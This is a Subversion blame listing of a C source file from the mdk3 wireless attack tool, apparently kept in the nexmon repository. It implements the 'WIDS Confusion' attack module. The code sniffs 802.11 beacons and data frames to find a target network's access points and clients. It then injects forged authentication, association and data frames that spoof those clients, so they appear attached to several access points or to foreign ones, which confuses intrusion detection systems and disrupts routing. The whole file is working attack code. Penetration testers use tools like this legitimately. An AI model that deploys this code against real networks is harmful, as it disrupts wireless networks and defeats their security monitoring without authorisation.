nexmon – Blame information for rev 1

Subversion Repositories:
Rev:
Rev Author Line No. Line
1 office 1 #include <stdio.h>
2 #include <string.h>
3 #include <inttypes.h>
4 #include <unistd.h>
5 #include <stdlib.h>
6 #include <time.h>
7 #include <pthread.h>
8  
9 #include "wids.h"
10 #include "../osdep.h"
11 #include "../helpers.h"
12 #include "../channelhopper.h"
13 #include "../linkedlist.h"
14  
15 #define WIDS_MODE 'w'
16 #define WIDS_NAME "WIDS Confusion"
17 #define WIDS_MAX_RETRIES 10
18  
19 struct wids_options {
20 char *target;
21 int zerochaos;
22 int speed;
23 int aps;
24 int foreign_aps;
25 int clients;
26 int auths;
27 int deauths;
28 };
29  
30 //Global things, shared by packet creation and stats printing
31 struct clistwidsap *targets = NULL, *foreign = NULL, *belongsto = NULL;
32 struct clistwidsclient *target_clients = NULL;
33  
34 void wids_shorthelp()
35 {
36 printf(" Confuse/Abuse Intrusion Detection and Prevention Systems by\n");
37 printf(" cross-connecting clients to multiple WDS nodes or fake rogue APs.\n");
38 }
39  
40 void wids_longhelp()
41 {
42 printf( " Confuse/Abuse Intrusion Detection and Prevention Systems by\n"
43 " cross-connecting clients to multiple WDS nodes or fake rogue APs.\n"
44 " Confuses a WDS with multi-authenticated clients which messes up routing tables\n"
45 " -e <SSID>\n"
46 " SSID of target WDS network\n"
47 " -c [chan,chan,...,chan[:speed]]\n"
48 " Enable channel hopping. When -c h is given, mdk3 will hop an all\n"
49 " 14 b/g channels. Channel will be changed every 3 seconds,\n"
50 " if speed is not specified. Speed value is in milliseconds!\n"
51 " -z\n"
52 " activate Zero_Chaos' WIDS exploit\n"
53 " (authenticates clients from a WDS to foreign APs to make WIDS go nuts)\n"
54 " -s <pps>\n"
55 " Set speed in packets per second (Default: 100)\n");
56 }
57  
58 void *wids_parse(int argc, char *argv[]) {
59 int opt, speed;
60 char *speedstr;
61 struct wids_options *wopt = malloc(sizeof(struct wids_options));
62  
63 wopt->target = NULL;
64 wopt->zerochaos = 0;
65 wopt->speed = 100;
66 wopt->aps = wopt->clients = wopt->auths = wopt->deauths = wopt->foreign_aps = 0;
67  
68 while ((opt = getopt(argc, argv, "e:c:zs:")) != -1) {
69 switch (opt) {
70 case 'e':
71 if (strlen(optarg) > 255) {
72 printf("ERROR: SSID too long\n"); return NULL;
73 } else if (strlen(optarg) > 32) {
74 printf("NOTE: Using Non-Standard SSID with length > 32\n");
75 }
76 wopt->target = malloc(strlen(optarg) + 1); strcpy(wopt->target, optarg);
77 break;
78 case 'c':
79 speed = 3000000;
80 speedstr = strrchr(optarg, ':');
81 if (speedstr != NULL) {
82 speed = 1000 * atoi(speedstr + 1);
83 }
84 if (optarg[0] == 'h') {
85 init_channel_hopper(NULL, speed);
86 } else {
87 init_channel_hopper(optarg, speed);
88 }
89 break;
90 case 'z':
91 wopt->zerochaos = 1;
92 break;
93 case 's':
94 wopt->speed = (unsigned int) atoi(optarg);
95 break;
96 default:
97 wids_longhelp();
98 printf("\n\nUnknown option %c\n", opt);
99 return NULL;
100 }
101 }
102  
103 if (! wopt->target) {
104 wids_longhelp();
105 printf("\n\nTarget must be specified!\n");
106 return NULL;
107 }
108  
109 return (void *) wopt;
110 }
111  
112 void wids_sniffer(void *options) {
113 struct wids_options *wopt = (struct wids_options *) options;
114 struct packet sniff;
115 struct ieee_hdr *hdr;
116 char *ssid;
117 struct ether_addr *bssid, *client;
118 struct auth_fixed *auth;
119 struct clistwidsclient *wclient;
120  
121 while(1) {
122 sniff = osdep_read_packet();
123 hdr = (struct ieee_hdr *) sniff.data;
124  
125 switch (hdr->type) {
126 case IEEE80211_TYPE_BEACON:
127 ssid = get_ssid(&sniff, NULL);
128 bssid = get_bssid(&sniff);
129 if (!strcmp(ssid, wopt->target)) {
130 if (! search_bssid(targets, *bssid)) {
131 targets = add_to_clistwidsap(targets, *bssid, osdep_get_channel(), get_capabilities(&sniff), ssid);
132 printf("\rFound AP for target network: "); print_mac(*bssid); printf(" on channel %d\n", osdep_get_channel());
133 wopt->aps++;
134 }
135 } else {
136 if (wopt->zerochaos && (! search_bssid(foreign, *bssid))) {
137 foreign = add_to_clistwidsap(foreign, *bssid, osdep_get_channel(), get_capabilities(&sniff), ssid);
138 printf("\rFound foreign AP "); print_mac(*bssid); printf(" in network %s on channel %d\n", ssid, osdep_get_channel());
139 wopt->foreign_aps++;
140 }
141 }
142 free(ssid);
143 break;
144 case IEEE80211_TYPE_DATA:
145 case IEEE80211_TYPE_QOSDATA:
146 client = NULL;
147 if ((hdr->flags & 0x03) == 0x01) {
148 client = get_source(&sniff);
149 } else if ((hdr->flags & 0x03) == 0x02) {
150 client = get_destination(&sniff);
151 }
152 if (client) {
153 bssid = get_bssid(&sniff);
154 if ((belongsto = search_bssid(targets, *bssid))) {
155 if (! search_client(target_clients, *client)) {
156 target_clients = add_to_clistwidsclient(target_clients, *client, 0, sniff.data, sniff.len, get_seqno(&sniff), NULL); //NULL: doesnt yet belong to any AP
157 printf("\rFound client "); print_mac(*client); printf(" on AP "); print_mac(*bssid); printf("\n");
158 wopt->clients++;
159 }
160 }
161 }
162 break;
163 case IEEE80211_TYPE_AUTH:
164 auth = (struct auth_fixed *) (sniff.data + sizeof(struct ieee_hdr));
165 client = get_destination(&sniff);
166 bssid = get_bssid(&sniff);
167 if ((auth->seq == htole16((uint16_t) 2)) && (auth->status == 0)) {
168 wclient = search_client(target_clients, *client);
169 if (wclient) {
170 if (MAC_MATCHES(*bssid, wclient->bssid->bssid)) //Doesnt match: Real client tried connecting somewhere else, ignore
171 if (wclient->status == 0) wclient->status = 1;
172 }
173 }
174 break;
175 case IEEE80211_TYPE_ASSOCRES:
176 client = get_destination(&sniff);
177 bssid = get_bssid(&sniff);
178 wclient = search_client(target_clients, *client);
179 if (wclient && (wclient->status == 1)) {
180 if (MAC_MATCHES(*bssid, wclient->bssid->bssid)) {
181 wclient->status = 2;
182 wopt->auths++;
183 printf("\rConnected "); print_mac(*client); printf(" to AP "); print_mac(wclient->bssid->bssid); printf("\n");
184 }
185 }
186 break;
187 case IEEE80211_TYPE_DISASSOC:
188 case IEEE80211_TYPE_DEAUTH:
189 client = get_destination(&sniff);
190 bssid = get_bssid(&sniff);
191 wclient = search_client(target_clients, *client);
192 if (wclient) {
193 if (wclient->bssid && MAC_MATCHES(*bssid, wclient->bssid->bssid)) {
194 wclient->status = 0;
195 wclient->bssid = NULL;
196 printf("\rClient "); print_mac(*client); printf(" kicked from fake-connected AP "); print_mac(*bssid); printf("\n");
197 } else {
198 printf("\rClient "); print_mac(*client); printf(" kicked from original AP "); print_mac(*bssid); printf("\n");
199 }
200 wopt->deauths++;
201 }
202 break;
203 }
204 }
205 }
206  
207 struct clistwidsclient *handle_retries(struct clistwidsclient *in) {
208 if (!in) return NULL;
209  
210 in->retries++;
211 if (in->retries > WIDS_MAX_RETRIES) {
212 in->bssid = NULL;
213 in->status = 3; //Postpone client to the end
214 in->retries = 0;
215 return NULL;
216 }
217  
218 //We also hate WIDS vendors here :D
219 set_seqno(NULL, in->seq); //Have a nice day
220 in->seq++;
221  
222 return in;
223 }
224  
225 struct packet wids_getpacket(void *options) {
226 static int wids_init = 0;
227 static pthread_t sniffer;
228 struct wids_options *wopt = (struct wids_options *) options;
229 struct packet pkt;
230 struct clistwidsclient *wclient;
231 struct ieee_hdr *hdr;
232  
233 if (!wids_init) {
234 printf("\nWaiting 10 seconds for initialization...\n");
235  
236  
237 pthread_create(&sniffer, NULL, (void *) wids_sniffer, (void *) wopt);
238  
239 for (wids_init=0; wids_init<10; wids_init++) {
240 sleep(1);
241 printf("\rAPs found: %d Clients found: %d", wopt->aps, wopt->clients);
242 }
243  
244 while (! wopt->aps) {
245 printf("\rNo APs have been found yet, waiting...\n");
246 sleep(1);
247 }
248 while (wopt->zerochaos && (! wopt->foreign_aps)) {
249 printf("\rNo foreign APs have been found yet, waiting...\n");
250 sleep(1);
251 }
252 while (! wopt->clients) {
253 printf("\rOnly APs found, no clients yet, waiting...\n");
254 sleep(1);
255 }
256 wids_init = 1;
257 }
258  
259 while(1) {
260 sleep_till_next_packet(wopt->speed);
261 target_clients = shuffle_widsclients(target_clients);
262  
263 //Associate a client that just authenticated
264 wclient = search_status_widsclient(target_clients, 1, osdep_get_channel());
265 wclient = handle_retries(wclient);
266 if (wclient) return create_assoc_req(wclient->mac, wclient->bssid->bssid, wclient->bssid->capa, wclient->bssid->ssid, 54);
267  
268 //Send data as client that just connected
269 wclient = search_status_widsclient(target_clients, 2, osdep_get_channel());
270 wclient = handle_retries(wclient);
271 if (wclient) { //injecting data
272 memcpy(pkt.data, wclient->data, wclient->data_len);
273 pkt.len = wclient->data_len;
274 hdr = (struct ieee_hdr *) pkt.data;
275 hdr->flags &= 0xFC; // Clear DS field
276 hdr->flags |= 0x01; // Set ToDS bit
277 hdr->addr1 = wclient->bssid->bssid;
278 hdr->addr2 = wclient->mac;
279 MAC_SET_BCAST(hdr->addr3);
280 wclient->status = 3;
281 return pkt;
282 }
283  
284 //Search idle client, auth to random AP, if nobody idle, connect already connected stations to even more APs
285 wclient = search_status_widsclient(target_clients, 0, -1);
286 if (!wclient) wclient = search_status_widsclient(target_clients, 3, -1);
287 if (wclient) {
288 wclient->retries = 0;
289 if (wopt->zerochaos) {
290 foreign = shuffle_widsaps(foreign);
291 wclient->bssid = search_bssid_on_channel(foreign, osdep_get_channel());
292 } else {
293 targets = shuffle_widsaps(targets);
294 wclient->bssid = search_bssid_on_channel(targets, osdep_get_channel());
295 }
296 if (wclient->bssid) return create_auth(wclient->bssid->bssid, wclient->mac, 0);
297 }
298  
299 printf("\rAll clients stuck in Authentication cycles, waiting for timeouts.");
300 }
301  
302 pkt.len = 0;
303 return pkt;
304 }
305  
306 void wids_print_stats(void *options) {
307 struct wids_options *wopt = (struct wids_options *) options;
308  
309 printf("\rAPs found: %d Clients found: %d Completed Auth-Cycles: %d Caught Deauths: %d\n", wopt->aps, wopt->clients, wopt->auths, wopt->deauths);
310 }
311  
312 void wids_perform_check(void *options) {
313 //Nothing to check
314 options = options; //Avoid unused warning
315 }
316  
317 struct attacks load_wids() {
318 struct attacks this_attack;
319 char *wids_name = malloc(strlen(WIDS_NAME) + 1);
320 strcpy(wids_name, WIDS_NAME);
321  
322 this_attack.print_shorthelp = (fp) wids_shorthelp;
323 this_attack.print_longhelp = (fp) wids_longhelp;
324 this_attack.parse_options = (fpo) wids_parse;
325 this_attack.get_packet = (fpp) wids_getpacket;
326 this_attack.print_stats = (fps) wids_print_stats;
327 this_attack.perform_check = (fps) wids_perform_check;
328 this_attack.mode_identifier = WIDS_MODE;
329 this_attack.attack_name = wids_name;
330  
331 return this_attack;
332 }